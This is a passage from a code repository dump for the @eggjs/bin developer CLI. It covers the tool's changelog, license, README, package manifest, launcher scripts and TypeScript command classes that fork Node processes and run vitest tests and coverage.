(#26)\n\n1.10.1 / 2017-01-16\n==================\n\n  * fix: should pass customEgg to startCluster (#25)\n\n1.10.0 / 2016-12-28\n==================\n\n  * feat: auto require setup file (#24)\n\n1.9.1 / 2016-12-16\n==================\n\n  * fix: make sure dev command eggPath can be override (#23)\n\n1.9.0 / 2016-12-16\n==================\n\n  * feat: auto detect available port (#22)\n\n1.8.1 / 2016-12-14\n==================\n\n  * fix: add power-assert to deps (#21)\n\n1.8.0 / 2016-12-14\n==================\n\n  * feat: build-in intelli-espower-loader (#20)\n\n1.7.0 / 2016-11-03\n==================\n\n  * feat: try to use --inspect first (#19)\n\n1.6.0 / 2016-10-28\n==================\n\n  * feat: use test when run cov on Windows (#18)\n\n1.5.3 / 2016-10-28\n==================\n\n  * fix: wait more time for Window :cry: (#17)\n\n1.5.2 / 2016-10-26\n==================\n\n  * fix(cov): wait 1 second for Windows (#16)\n\n1.5.1 / 2016-10-20\n==================\n\n  * fix: link mocha bin from inner file (#15)\n  * docs:add egg-bin dev options doc (#14)\n\n1.5.0 / 2016-10-16\n==================\n\n  * test: exports mocha bin (#13)\n\n1.4.0 / 2016-09-29\n==================\n\n  * feat(dev): pass debug args to execArgv (#12)\n\n1.3.0 / 2016-08-19\n==================\n\n  * feat: resolve istanbul path for coffee (#9)\n\n1.2.1 / 2016-08-18\n==================\n\n  * fix: can not find iron-node in subprocess (#8)\n\n1.2.0 / 2016-08-04\n==================\n\n  * feat: add COV_EXCLUDES for coverage excludes (#7)\n\n1.1.1 / 2016-08-03\n==================\n\n  * chore(deps): upgrade mocha@3 and glob@7 (#6)\n\n1.1.0 / 2016-07-29\n==================\n\n  * feat: support mocha custom require args (#5)\n  * refactor: use common-bin (#4)\n\n1.0.2 / 2016-07-12\n==================\n\n  * refactor: rename DevCommand.js to dev_command.js (#3)\n  * chore: add security check badge (#2)\n  * refactor: use egg-utils (#1)\n\n1.0.1 / 2016-06-20\n==================\n\n  * fix: let sub class can override getFrameworkOrEggPath\n\n1.0.0 / 2016-06-19\n==================\n\n  * init version\n"
  },
  {
    "path": "tools/egg-bin/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "tools/egg-bin/README.md",
    "content": "# @eggjs/bin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version][node-version-image]][node-version-url]\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/bin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/bin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/bin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/bin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/bin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/bin\n[node-version-image]: https://img.shields.io/node/v/@eggjs/bin.svg?style=flat-square\n[node-version-url]: https://nodejs.org/en/download/\n\negg developer tool, base on [oclif](https://oclif.io/).\n\n---\n\n## Install\n\n```bash\nnpm i @eggjs/bin --save-dev\n```\n\n## Usage\n\nAdd `egg-bin` to `package.json` scripts:\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\",\n    \"test-local\": \"egg-bin test\",\n    \"test\": \"npm run lint -- --fix && npm run test-local\",\n    \"cov\": \"egg-bin cov\",\n    \"lint\": \"eslint .\",\n    \"ci\": \"npm run lint && npm run cov\"\n  }\n}\n```\n\n## Command\n\nAll the commands support these specific options:\n\n- `--inspect`\n- `--inspect-brk`\n- `--typescript` / `--ts` enable typescript support. Auto detect from `package.json`'s `pkg.egg.typescript`,\n  or `pkg.dependencies.typescript`/`pkg.devDependencies.typescript`.\n- `--base` / `--baseDir` application's root path, default to `process.cwd()`.\n- `--require` will add to `execArgv`, support multiple. Also support read from `package.json`'s `pkg.egg.require`\n- `--dry-run` / `-d` whether dry-run the test command, just show the command\n\n```bash\negg-bin [command] --inspect\negg-bin [command] --inspect-brk\negg-bin [command] --typescript\negg-bin [command] --base /foo/bar\n```\n\n### dev\n\nStart dev cluster on `local` env, it will start a master, an agent and a worker.\n\n```bash\negg-bin dev\n```\n\n#### dev options\n\n- `--framework` egg web framework root path.\n- `--port` server port. If not specified, the port is obtained in the following order: [_egg.js_ configuration](https://eggjs.org/basics/config) `config/config.*.js` > `process.env.EGG_BIN_DEFAULT_PORT` > 7001 > other available ports.\n- `--workers` worker process number, default to `1` worker at local mode.\n- `--sticky` start a sticky cluster server, default to `false`.\n\n#### debug/inspect on VSCode\n\nCreate `.vscode/launch.json` file:\n\n```json\n{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Debug\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"dev\", \"--\", \"--inspect-brk\"],\n      \"console\": \"integratedTerminal\",\n      \"restart\": true,\n      \"autoAttachChildProcesses\": true\n    },\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Test\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"test-local\", \"--\", \"--inspect-brk\"],\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n```\n\n### test\n\nUsing [vitest] to run test.\n\n```bash\negg-bin test [...files] [options]\n```\n\n- `files` is optional, default to `test/**/*.test.ts`\n- `test/fixtures`, `test/node_modules` is always excluded.\n\n#### auto load `test/.setup.ts`\n\nIf `test/.setup.ts` (or `.setup.js`) exists, it will be auto-added as the first vitest `setupFile`.\n\n```bash\ntest\n  ├── .setup.ts\n  └── foo.test.ts\n```\n\n#### auto-inject `@eggjs/mock/setup_vitest`\n\nFor egg applications, `@eggjs/mock/setup_vitest` is automatically registered as a vitest setup file when `@eggjs/mock` is installed, handling app lifecycle (`beforeAll` / `afterEach` / `afterAll`).\n\n#### auto use `@eggjs/tegg-vitest/runner`\n\nIf `@eggjs/tegg-vitest` is installed in the project, its runner is automatically detected and injected into the vitest config.\n\n#### test options\n\n- `--timeout` / `-t` milliseconds, default to `60000`\n- `--no-timeout` disable timeout\n- `--grep` / `-g` only run tests matching pattern\n- `--bail` / `-b` stop after first test failure\n- `--changed` / `-c` only run tests for changed files (matches `test/**/*.test.(js|ts)`)\n- `--watch` / `-w` run in watch mode\n\n#### test environment\n\nYou can set `TESTS` env to specify test files, supports comma-separated glob patterns.\n\n```bash\nTESTS=test/a.test.ts egg-bin test\n```\n\nThe reporter can be set with `TEST_REPORTER` env (any vitest reporter), default is `default`.\n\n```bash\nTEST_REPORTER=verbose egg-bin test\n```\n\nThe test timeout can be set with `TEST_TIMEOUT` env, default is `60000` ms.\n\n```bash\nTEST_TIMEOUT=2000 egg-bin test\n```\n\n### cov\n\nUsing [vitest] with [v8 coverage] to run code coverage. Supports all `test` options above.\n\nCoverage reports are written to `coverage/` and include: `text-summary`, `json-summary`, `json`, `lcov`, `cobertura`.\n\n#### cov options\n\n- `-x` add a glob pattern to exclude from coverage, supports multiple\n- also supports all test options above.\n\n#### cov environment\n\nYou can set `COV_EXCLUDES` env to add glob patterns to exclude from coverage (comma-separated).\n\n```bash\nCOV_EXCLUDES=\"app/plugins/c*,app/autocreate/**\" egg-bin cov\n```\n\n## Breaking Changes (v8)\n\n### Migrated from Mocha to Vitest\n\nThe `test` and `cov` commands now use [vitest] instead of [Mocha](https://mochajs.org). This brings native TypeScript support, faster execution, and built-in watch mode, but removes some Mocha-specific options:\n\n**Removed flags:**\n\n| Old flag            | Reason                                                          |\n| ------------------- | --------------------------------------------------------------- |\n| `--parallel` / `-p` | Vitest handles parallelism natively via worker pools            |\n| `--jobs` / `-j`     | Replaced by vitest's built-in pool configuration                |\n| `--auto-agent`      | Mocha-specific, no equivalent needed in vitest                  |\n| `--prerequire`      | Use `test/.setup.ts` setupFile instead                          |\n| `--c8`              | Coverage is now configured inside vitest, use `-x` for excludes |\n\n**Removed environment variables:**\n\n| Old env var  | Reason                                         |\n| ------------ | ---------------------------------------------- |\n| `MOCHA_FILE` | Mocha-specific, vitest runner is auto-detected |\n\n**Changed output format:**\n\nTest output now follows vitest's format. Assertions in test scripts that match mocha output (e.g. `\"N passing\"`) should be updated to vitest output (e.g. `\"N passed\"`).\n\n**Migration guide:**\n\n1. Replace `before()` / `after()` hooks with `beforeAll()` / `afterAll()` (vitest naming)\n2. Import vitest globals explicitly in `.ts` setup files: `import { beforeAll, afterEach } from 'vitest'`\n3. Plain `.js` test files can use globals directly (vitest `globals: true` is enabled by default)\n4. Remove `--parallel` / `--jobs` flags from your npm scripts\n\n## Custom egg-bin for your team\n\nSee <https://oclif.io/docs/configuring_your_cli/>\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n\n[vitest]: https://vitest.dev\n[v8 coverage]: https://vitest.dev/guide/coverage\n"
  },
  {
    "path": "tools/egg-bin/bin/dev.cmd",
    "content": "@echo off\n\nnode --loader ts-node/esm --no-warnings=ExperimentalWarning \"%~dp0\\dev\" %*\n"
  },
  {
    "path": "tools/egg-bin/bin/dev.js",
    "content": "#!/usr/bin/env -S node --loader ts-node/esm --disable-warning=ExperimentalWarning --no-deprecation\n\nimport { execute } from '@oclif/core';\n\nawait execute({\n  // development: true,\n  dir: import.meta.url,\n});\n"
  },
  {
    "path": "tools/egg-bin/bin/run.cmd",
    "content": "@echo off\n\nnode \"%~dp0\\run\" %*\n"
  },
  {
    "path": "tools/egg-bin/bin/run.js",
    "content": "#!/usr/bin/env node\n\nimport { execute } from '@oclif/core';\n\nawait execute({ dir: import.meta.dirname });\n"
  },
  {
    "path": "tools/egg-bin/package.json",
    "content": "{\n  \"name\": \"@eggjs/bin\",\n  \"version\": \"8.0.2-beta.5\",\n  \"description\": \"egg developer tool\",\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tools/egg-bin\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"fengmk2 <fengmk2@gmail.com> (https://github.com/fengmk2)\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tools/egg-bin\"\n  },\n  \"bin\": {\n    \"egg-bin\": \"./bin/run.js\"\n  },\n  \"files\": [\n    \"bin\",\n    \"dist\",\n    \"scripts\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./baseCommand\": \"./src/baseCommand.ts\",\n    \"./commands/cov\": \"./src/commands/cov.ts\",\n    \"./commands/dev\": \"./src/commands/dev.ts\",\n    \"./commands/test\": \"./src/commands/test.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./utils\": \"./src/utils.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./baseCommand\": \"./dist/baseCommand.js\",\n      \"./commands/cov\": \"./dist/commands/cov.js\",\n      \"./commands/dev\": \"./dist/commands/dev.js\",\n      \"./commands/test\": \"./dist/commands/test.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./utils\": \"./dist/utils.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\",\n    \"pretest\": \"tsdown\",\n    \"test\": \"vitest run\",\n    \"cov\": \"vitest run --coverage\",\n    \"ci\": \"npm run cov\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tegg-vitest\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"@oclif/core\": \"catalog:\",\n    \"@vitest/coverage-v8\": \"catalog:\",\n    \"ci-parallel-vars\": \"catalog:\",\n    \"detect-port\": \"catalog:\",\n    \"globby\": \"catalog:\",\n    \"jest-changed-files\": \"catalog:\",\n    \"ts-node\": \"catalog:\",\n    \"tsconfig-paths\": \"catalog:\",\n    \"utility\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@swc-node/register\": \"catalog:\",\n    \"@swc/core\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"assert-file\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"cpy\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"esbuild\": \"catalog:\",\n    \"esbuild-register\": \"catalog:\",\n    \"npminstall\": \"catalog:\",\n    \"rimraf\": \"catalog:\",\n    \"runscript\": \"catalog:\",\n    \"sdk-base\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@eggjs/mock\": {\n      \"optional\": true\n    }\n  },\n  \"oclif\": {\n    \"additionalHelpFlags\": [\n      \"-h\"\n    ],\n    \"bin\": \"egg-bin\",\n    \"commands\": \"./dist/commands\",\n    \"dirname\": \"egg-bin\",\n    \"topicSeparator\": \" \"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/scripts/start-cluster.cjs",
    "content": "const { debuglog } = require('node:util');\n\nconst { importModule } = require('@eggjs/utils');\n\nconst debug = debuglog('egg/bin/scripts/start-cluster');\n\nasync function main() {\n  debug('argv: %o', process.argv);\n  const options = JSON.parse(process.argv[2]);\n  debug('start cluster options: %o', options);\n  const { startCluster } = await importModule(options.framework);\n  await startCluster(options);\n}\n\nvoid main();\n"
  },
  {
    "path": "tools/egg-bin/scripts/start-cluster.mjs",
    "content": "import { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\n\nconst debug = debuglog('egg/bin/scripts/start-cluster');\n\nasync function main() {\n  debug('argv: %o', process.argv);\n  const options = JSON.parse(process.argv[2]);\n  debug('start cluster options: %o', options);\n  const { startCluster } = await importModule(options.framework);\n  await startCluster(options);\n}\n\nvoid main();\n"
  },
  {
    "path": "tools/egg-bin/src/baseCommand.ts",
    "content": "import { fork, type ForkOptions, ChildProcess } from 'node:child_process';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { pathToFileURL } from 'node:url';\nimport { debuglog } from 'node:util';\n\nimport { importResolve } from '@eggjs/utils';\nimport { Command, Flags, Interfaces } from '@oclif/core';\n\nimport { type PackageEgg } from './types.ts';\nimport { getSourceDirname, readPackageJSON, hasTsConfig } from './utils.ts';\n\nconst debug = debuglog('egg/bin/baseCommand');\n\n// only hook once and only when ever start any child.\nconst children = new Set<ChildProcess>();\nlet hadHook = false;\nfunction graceful(proc: ChildProcess) {\n  // save child ref\n  children.add(proc);\n\n  // only hook once\n  /* c8 ignore else */\n  if (!hadHook) {\n    hadHook = true;\n    let signal: NodeJS.Signals;\n    ['SIGINT', 'SIGQUIT', 'SIGTERM'].forEach((event) => {\n      process.once(event, () => {\n        signal = event as NodeJS.Signals;\n        process.exit(0);\n      });\n    });\n\n    process.once('exit', (code: number) => {\n      for (const child of children) {\n        debug('process exit code: %o, kill child %o with %o', code, child.pid, signal);\n        child.kill(signal);\n      }\n    });\n  }\n}\n\nexport class ForkError extends Error {\n  code: number | null;\n  constructor(message: string, code: number | null) {\n    super(message);\n    this.code = code;\n  }\n}\n\nexport interface ForkNodeOptions extends ForkOptions {\n  dryRun?: boolean;\n}\n\ntype CustomFlags<T extends typeof Command> = Interfaces.InferredFlags<(typeof BaseCommand)['baseFlags'] & T['flags']>;\ntype Args<T extends typeof Command> = Interfaces.InferredArgs<T['args']>;\n\nexport abstract class BaseCommand<T extends typeof Command> extends Command {\n  // add the --json flag\n  static enableJsonFlag = false;\n\n  // define flags that can be inherited by any command that extends BaseCommand\n  static baseFlags = {\n    // 'log-level': Flags.option({\n    //   default: 'info',\n    //   helpGroup: 'GLOBAL',\n    //   options: ['debug', 'warn', 'error', 'info', 'trace'] as const,\n    //   summary: 'Specify level for logging.',\n    // })(),\n    'dry-run': Flags.boolean({\n      default: false,\n      helpGroup: 'GLOBAL',\n      summary: 'whether show full command script only',\n      char: 'd',\n    }),\n    require: Flags.string({\n      helpGroup: 'GLOBAL',\n      summary: 'require the given module',\n      char: 'r',\n      multiple: true,\n    }),\n    import: Flags.string({\n      helpGroup: 'GLOBAL',\n      summary: 'import the given module, only work on ESM',\n      multiple: true,\n    }),\n    base: Flags.string({\n      helpGroup: 'GLOBAL',\n      summary: 'directory of application',\n      aliases: ['baseDir'],\n      default: process.cwd(),\n    }),\n    tscompiler: Flags.string({\n      helpGroup: 'GLOBAL',\n      summary: 'TypeScript compiler, like ts-node/register',\n      aliases: ['tsc'],\n    }),\n    // flag with no value (--typescript)\n    typescript: Flags.boolean({\n      helpGroup: 'GLOBAL',\n      description: '[default: true] use TypeScript to run the test',\n      allowNo: true,\n    }),\n    ts: Flags.string({\n      helpGroup: 'GLOBAL',\n      description: 'shortcut for --typescript, e.g.: --ts=false',\n      options: ['true', 'false'],\n    }),\n    javascript: Flags.boolean({\n      helpGroup: 'GLOBAL',\n      description: 'use JavaScript to run the test',\n      aliases: ['js'],\n    }),\n    declarations: Flags.boolean({\n      helpGroup: 'GLOBAL',\n      description: 'deprecated, no effect, will be removed in the future',\n      aliases: ['dts'],\n    }),\n    // https://nodejs.org/dist/latest-v18.x/docs/api/cli.html#--inspect-brkhostport\n    inspect: Flags.boolean({\n      helpGroup: 'GLOBAL',\n      description: 'Activate inspector',\n    }),\n    'inspect-brk': Flags.boolean({\n      helpGroup: 'GLOBAL',\n      description: 'Activate inspector and break at start of user script',\n    }),\n  };\n\n  protected flags!: CustomFlags<T>;\n  protected args!: Args<T>;\n\n  protected env = { ...process.env };\n  protected pkg: Record<string, any>;\n  protected isESM: boolean;\n  protected pkgEgg: PackageEgg;\n  protected globalExecArgv: string[] = [];\n\n  public async init(): Promise<void> {\n    await super.init();\n    debug('[init] raw args: %o, NODE_ENV: %o', this.argv, this.env.NODE_ENV);\n    const { args, flags } = await this.parse({\n      flags: this.ctor.flags,\n      baseFlags: (super.ctor as typeof BaseCommand).baseFlags,\n      enableJsonFlag: this.ctor.enableJsonFlag,\n      args: this.ctor.args,\n      strict: this.ctor.strict,\n    });\n    this.flags = flags as CustomFlags<T>;\n    this.args = args as Args<T>;\n\n    await this.#afterInit();\n  }\n\n  async #afterInit() {\n    const { args, flags } = this;\n    debug('before: args: %o, flags: %o', args, flags);\n    if (!path.isAbsolute(flags.base)) {\n      flags.base = path.join(process.cwd(), flags.base);\n    }\n    const pkg = await readPackageJSON(flags.base);\n    this.pkg = pkg;\n    this.pkgEgg = pkg.egg ?? {};\n    flags.tscompiler = flags.tscompiler ?? this.env.TS_COMPILER ?? this.pkgEgg.tscompiler;\n\n    let typescript: boolean = flags.typescript;\n    // keep compatible with old ts flag: `--ts=true` or `--ts=false`\n    if (flags.ts === 'true') {\n      typescript = true;\n    } else if (flags.ts === 'false') {\n      typescript = false;\n    }\n\n    if (typescript === undefined) {\n      // try to ready EGG_TYPESCRIPT env first, only accept 'true' or 'false' string\n      if (this.env.EGG_TYPESCRIPT === 'false') {\n        typescript = false;\n        debug('detect typescript=%o from EGG_TYPESCRIPT=%o', false, this.env.EGG_TYPESCRIPT);\n      } else if (this.env.EGG_TYPESCRIPT === 'true') {\n        typescript = true;\n        debug('detect typescript=%o from EGG_TYPESCRIPT=%o', true, this.env.EGG_TYPESCRIPT);\n      } else if (typeof this.pkgEgg.typescript === 'boolean') {\n        // read `egg.typescript` from package.json if not pass argv\n        typescript = this.pkgEgg.typescript;\n        debug('detect typescript=%o from pkg.egg.typescript=%o', typescript, this.pkgEgg.typescript);\n      } else if (pkg.dependencies?.typescript) {\n        // auto detect pkg.dependencies.typescript or pkg.devDependencies.typescript\n        typescript = true;\n        debug('detect typescript=%o from pkg.dependencies.typescript=%o', true, pkg.dependencies.typescript);\n      } else if (pkg.devDependencies?.typescript) {\n        typescript = true;\n        debug('detect typescript=%o from pkg.devDependencies.typescript=%o', true, pkg.devDependencies.typescript);\n      } else if (await hasTsConfig(flags.base)) {\n        // tsconfig.json exists\n        typescript = true;\n        debug('detect typescript=%o cause tsconfig.json exists', true);\n      } else if (flags.tscompiler) {\n        typescript = true;\n        debug('detect typescript=%o from --tscompiler=%o', true, flags.tscompiler);\n      }\n    }\n    flags.typescript = typescript;\n    let rootDir = path.dirname(getSourceDirname());\n    if (path.basename(rootDir) === 'dist') {\n      rootDir = path.dirname(rootDir);\n    }\n    // try app baseDir first on custom tscompiler\n    // then try to find tscompiler in @eggjs/bin/node_modules\n    const findPaths: string[] = [flags.base, rootDir];\n    this.isESM = pkg.type === 'module';\n    if (typescript) {\n      flags.tscompiler = flags.tscompiler ?? 'ts-node/register';\n      const tsNodeRegister = importResolve(flags.tscompiler, {\n        paths: findPaths,\n      });\n      flags.tscompiler = tsNodeRegister;\n      // should require tsNodeRegister on current process, let it can require *.ts files\n      // e.g.: dev command will execute egg loader to find configs and plugins\n      // await importModule(tsNodeRegister);\n      // let child process auto require ts-node too\n      this.addNodeOptions(this.formatImportModule(tsNodeRegister));\n      // tell egg loader to load ts file\n      // see https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js#L443\n      this.env.EGG_TYPESCRIPT = 'true';\n      // set current process.env.EGG_TYPESCRIPT too\n      process.env.EGG_TYPESCRIPT = 'true';\n      // load files from tsconfig on startup\n      this.env.TS_NODE_FILES = process.env.TS_NODE_FILES ?? 'true';\n      // keep same logic with egg-core, test cmd load files need it\n      // see https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js#L49\n      const tsConfigPathsRegister = importResolve('tsconfig-paths/register', {\n        paths: findPaths,\n      });\n      this.addNodeOptions(this.formatImportModule(tsConfigPathsRegister));\n    }\n    if (this.isESM) {\n      // use ts-node/esm loader on esm\n      let esmLoader = importResolve('ts-node/esm', {\n        paths: findPaths,\n      });\n      // ES Module loading with absolute path fails on windows\n      // https://github.com/nodejs/node/issues/31710#issuecomment-583916239\n      // https://nodejs.org/api/url.html#url_url_pathtofileurl_path\n      // Error [ERR_UNSUPPORTED_ESM_URL_SCHEME]: Only URLs with a scheme in: file, data, and node are supported by the default ESM loader. On Windows, absolute paths must be valid file:// URLs. Received protocol 'd:'\n      esmLoader = pathToFileURL(esmLoader).href;\n      // wait for https://github.com/nodejs/node/issues/40940\n      this.addNodeOptions('--no-warnings');\n      this.addNodeOptions(`--loader ${esmLoader}`);\n    }\n\n    if (this.pkgEgg.revert) {\n      const reverts = Array.isArray(this.pkgEgg.revert) ? this.pkgEgg.revert : [this.pkgEgg.revert];\n      for (const revert of reverts) {\n        this.globalExecArgv.push(`--security-revert=${revert}`);\n      }\n    }\n\n    let hasInspectOption = false;\n    if (flags.inspect) {\n      this.addNodeOptions('--inspect');\n      hasInspectOption = true;\n    }\n    if (flags['inspect-brk']) {\n      this.addNodeOptions('--inspect-brk');\n      hasInspectOption = true;\n    }\n    if (hasInspectOption) {\n      Reflect.set(flags, 'timeout', 0);\n      debug('set timeout = 0 when inspect enable');\n    } else if (this.env.JB_DEBUG_FILE) {\n      // others like WebStorm 2019 will pass NODE_OPTIONS, and @eggjs/bin itself will be debug, so could detect `process.env.JB_DEBUG_FILE`.\n      Reflect.set(flags, 'timeout', 0);\n      debug('set timeout = false when process.env.JB_DEBUG_FILE=%o', this.env.JB_DEBUG_FILE);\n    }\n\n    debug('baseDir: %o, isESM: %o', flags.base, this.isESM);\n    debug('set NODE_OPTIONS: %o', this.env.NODE_OPTIONS);\n    debug('after: args: %o, flags: %o', args, flags);\n    debug('enter real command: %o', this.id);\n  }\n\n  protected async catch(err: Error & { exitCode?: number }): Promise<any> {\n    // add any custom logic to handle errors from the command\n    // or simply return the parent class error handling\n    return super.catch(err);\n  }\n\n  protected async finally(_: Error | undefined): Promise<any> {\n    // called after run and catch regardless of whether or not the command errored\n    return super.finally(_);\n  }\n\n  protected async formatRequires(): Promise<string[]> {\n    const requires = this.flags.require ?? [];\n    const imports = this.flags.import ?? [];\n    let eggRequires = (this.pkgEgg.require as string[]) ?? [];\n    if (typeof eggRequires === 'string') {\n      eggRequires = [eggRequires];\n    }\n    let eggImports = (this.pkgEgg.import as string[]) ?? [];\n    if (typeof eggImports === 'string') {\n      eggImports = [eggImports];\n    }\n    return [...requires, ...imports, ...eggRequires, ...eggImports];\n  }\n\n  protected formatImportModule(modulePath: string) {\n    if (this.isESM) {\n      return `--import \"${pathToFileURL(modulePath).href}\"`;\n    }\n    if (os.platform() === 'win32') {\n      // windows path need to escape backslash: `node --require \"C:\\\\path\\\\to\\\\module\"`\n      return `--require \"${path.win32.normalize(modulePath).replace(/\\\\/g, '\\\\\\\\')}\"`;\n    }\n    return `--require \"${modulePath}\"`;\n  }\n\n  protected addNodeOptions(options: string) {\n    if (this.env.NODE_OPTIONS) {\n      if (!this.env.NODE_OPTIONS.includes(options)) {\n        this.env.NODE_OPTIONS = `${this.env.NODE_OPTIONS} ${options}`;\n      }\n    } else {\n      this.env.NODE_OPTIONS = options;\n    }\n  }\n\n  protected async forkNode(modulePath: string, forkArgs: string[], options: ForkNodeOptions = {}) {\n    const env = {\n      ...this.env,\n      ...options.env,\n    };\n    const forkExecArgv = [...this.globalExecArgv, ...(options.execArgv || [])];\n    const NODE_OPTIONS = env.NODE_OPTIONS ? `NODE_OPTIONS='${env.NODE_OPTIONS}' ` : '';\n    const forkExecArgvString = forkExecArgv.length ? ' ' + forkExecArgv.join(' ') + ' ' : ' ';\n    const forkArgsString = forkArgs.map((a) => `'${a}'`).join(' ');\n    const fullCommand = `${NODE_OPTIONS}${process.execPath}${forkExecArgvString}${modulePath} ${forkArgsString}`;\n    if (options.dryRun) {\n      console.log('dry run: $ %s', fullCommand);\n      return;\n    }\n\n    options = {\n      stdio: 'inherit',\n      env,\n      cwd: this.flags.base,\n      ...options,\n      execArgv: forkExecArgv,\n    };\n    const proc = fork(modulePath, forkArgs, options);\n    debug('Run fork pid: %o\\n\\n$ %s\\n\\n', proc.pid, fullCommand);\n    graceful(proc);\n\n    return new Promise<void>((resolve, reject) => {\n      proc.once('exit', (code) => {\n        debug('fork pid: %o exit code %o', proc.pid, code);\n        children.delete(proc);\n        if (code !== 0) {\n          const err = new ForkError(modulePath + ' ' + forkArgs.join(' ') + ' exit with code ' + code, code);\n          reject(err);\n        } else {\n          resolve();\n        }\n      });\n    });\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/src/commands/cov.ts",
    "content": "import path from 'node:path';\n\nimport { Flags } from '@oclif/core';\nimport type { InlineConfig as VitestConfig } from 'vitest/node';\n\nimport Test from './test.ts';\n\n// eslint-disable-next-line @typescript-eslint/ban-ts-comment\n// @ts-ignore\nexport default class Cov<T extends typeof Cov> extends Test<T> {\n  static override description = 'Run the test with coverage';\n\n  static override examples = [\n    '<%= config.bin %> <%= command.id %>',\n    '<%= config.bin %> <%= command.id %> test/index.test.ts',\n    '<%= config.bin %> <%= command.id %> test/index.test.ts,test/user.test.ts,...',\n  ];\n\n  static override flags = {\n    ...Test.flags,\n    exclude: Flags.string({\n      description: 'coverage ignore, one or more files patterns',\n      multiple: true,\n      char: 'x',\n    }),\n  };\n\n  protected get defaultCoverageExcludes(): string[] {\n    return [\n      'example/',\n      'examples/',\n      '**/mocks*/**',\n      'docs/',\n      // https://github.com/JaKXz/test-exclude/blob/620a7be412d4fc2070d50f0f63e3228314066fc9/index.js#L73\n      'test/**',\n      'test{,-*}.js',\n      '**/*.test.js',\n      '**/__tests__/**',\n      '**/node_modules/**',\n      'typings',\n      '**/*.d.ts',\n    ];\n  }\n\n  /**\n   * Convert a relative exclude pattern to an absolute path pattern.\n   * This prevents vitest's picomatch (with contains:true) from matching\n   * files in parent directories that happen to share path segments.\n   * e.g. 'test/**' should only exclude the project's own test/ dir,\n   * not files whose absolute path contains 'test/' from parent dirs.\n   */\n  protected toAbsoluteExclude(pat: string, base: string): string {\n    // Handle negated patterns (e.g. '!src/**')\n    const isNegated = pat.startsWith('!');\n    const rawPattern = isNegated ? pat.slice(1) : pat;\n\n    // Already absolute or starts with ** 